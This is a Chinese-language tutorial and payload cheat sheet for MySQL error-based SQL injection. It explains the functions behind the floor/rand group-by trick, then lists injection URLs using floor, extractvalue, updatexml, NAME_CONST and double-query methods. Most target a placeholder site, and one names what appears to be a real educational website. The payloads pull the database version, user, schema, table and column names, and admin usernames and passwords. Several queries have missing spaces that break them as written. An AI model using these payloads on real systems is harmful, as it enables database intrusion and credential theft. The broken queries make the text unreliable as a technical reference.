基于报错的注入~~之前我们就说过了,如果程序员小哥哥没有在写程序的时候加一个mysql_error()之类的调试函数或者没有输出点,无法在网页显示出数据内容。
这里就介绍一些基于报错的注入。
1、通过floor暴错
(1)rand()函数
随机函数,每次运行select rand();都会出现不同的值,有趣的是你在括号内指定一个数字试试~
我们直奔主题:
执行:select rand(0) frominformation_schema.tables;
查询结果是我所有的表名以随机数的形式返回的
Rand(0)*2试试,翻两倍了
(2)floor
这个和round要区别下,round是四舍五入获取整数位,而floor的是取整数位。
select floor(rand(0)*2)x frominformation_schema.tables;
这样就变成了100001001001…这样的形式
(3)group by(聚合函数)
聚合成分组返回,详情你可以百度一下。
我们返回的列名是X,值是0和1。所谓聚合,你可以理解成分组,1的站成一队,0的站成一队,只有两队了。
(4)concat函数
函数用于将多个字符串连接成一个字符串
selectconcat(0x7e,version(),0x7e)
select (select (select concat(0x7e,version(),0x7e)))
mysql> select (select (selectconcat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1;
返回的结果都是如下的值
/*数据库版本*/
http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select concat(0x7e,version(),0x7e)from information_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)
/*连接用户*/
http://www.xxx.cn/sql.php?id=1+and(select 1 from(selectcount(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*连接数据库*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴库*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x7e,schema_name,0x7e) FROMinformation_schema.schemata LIMIT 0,1)) from information_schema.tables limit0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴表*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x7e,table_name,0x7e) FROMinformation_schema.tables where table_schema=database() LIMIT 0,1)) frominformation_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)
/*暴字段*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x7e,column_name,0x7e) FROMinformation_schema.columns where table_name=0x61646D696E LIMIT 0,1)) frominformation_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)
/*暴内容*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM adminlimit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)
2、ExtractValue(有长度限制,最长32位)
http://www.xxx.cn/sql.php?id=1+and extractvalue(1,concat(0x7e, (select @@version),0x7e)) http://www.xxx.cn/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinctconcat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))
3、UpdateXml(有长度限制,最长32位)
http://www.xxx.cn/sql.php?id=1+andupdatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.xxx.cn/sql.php?id=1+andupdatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23)FROM admin limit 0,1),0x7e),1)
4、NAME_CONST(适用于低版本)
http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
5、Error basedDouble Query Injection (http://www.vaibs.in/error-based-double-query-injection/)
/*数据库版本*/
http://www.xxx.cn/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1
下次还有一个最近新出的bigint报错的注入,但是我打算单独写出来,因为挺有趣的。